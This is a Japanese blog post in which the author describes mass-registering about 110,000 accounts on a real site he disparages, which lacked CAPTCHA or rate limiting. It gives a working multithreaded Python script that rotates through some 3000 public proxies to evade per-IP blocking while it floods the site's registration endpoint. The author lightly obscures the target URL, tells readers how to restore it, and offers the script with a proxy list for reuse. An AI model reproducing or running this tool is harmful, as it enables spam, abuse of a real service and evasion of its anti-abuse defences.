見出し画像

某サイトのアカウント作成システムが終わっていたのでProxyを経由して11万アカウント作ってみた

経緯

今時CloudflareもreCAPTCHAも導入されていなくてアカウント作成に何の制限もなかったので。あと直接リンクは貼りませんがコイツ問題児なのでいいだろうという安易な考え。

Proxyを経由させた理由

同一IPからの過剰アクセスはさすがに対策してたようで、回避のためにランダムに採集した公開Proxy 3000個ほどを調達してきました。参考サイト : https://checkerproxy.net/

ソースコード

import requests
import threading
import time
import random

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36',
}

data = {
    'favorites': '',
    'username': 'accountGenerator0',
    'password': 'U8shfhi9a38',
    'confirm_password': 'U8shfhi9a38',
}

def send_request():
    while True:
        proxy_file = open('proxies.txt', 'r')
        proxies = proxy_file.readlines()
        proxy = random.choice(proxies).strip()
        proxy_dict = {"http": proxy, "https": proxy}
        proxy_file.close()

        print(f"{threading.current_thread().name} - Sending request with proxy: {proxy}")
        try:
            response = requests.post('https://ke/mo/no/.party/account/register', headers=headers, data=data, proxies=proxy_dict, timeout=10)
            if response.status_code == 200:
                print(f"{threading.current_thread().name} - Good proxy: {proxy}")
                global counter
                data['username'] = 'accountGeneretor' + str(counter)
                counter += 1
                print(f"{threading.current_thread().name} - User Generated: {data['username']}")
            else:
                continue
        except:
            print(f"{threading.current_thread().name} - Request failed with proxy: {proxy}")

if __name__ == "__main__":
    counter = 0
    for i in range(8):
        t = threading.Thread(target=send_request, args=())
        t.start()

パスワードやアカウント名はサンプルなのでご自由に変更どうぞ。kmnの部分の斜線は自分で消してね。

以下ProxylistとPyファイルを同梱したものです。

いいなと思ったら応援しよう!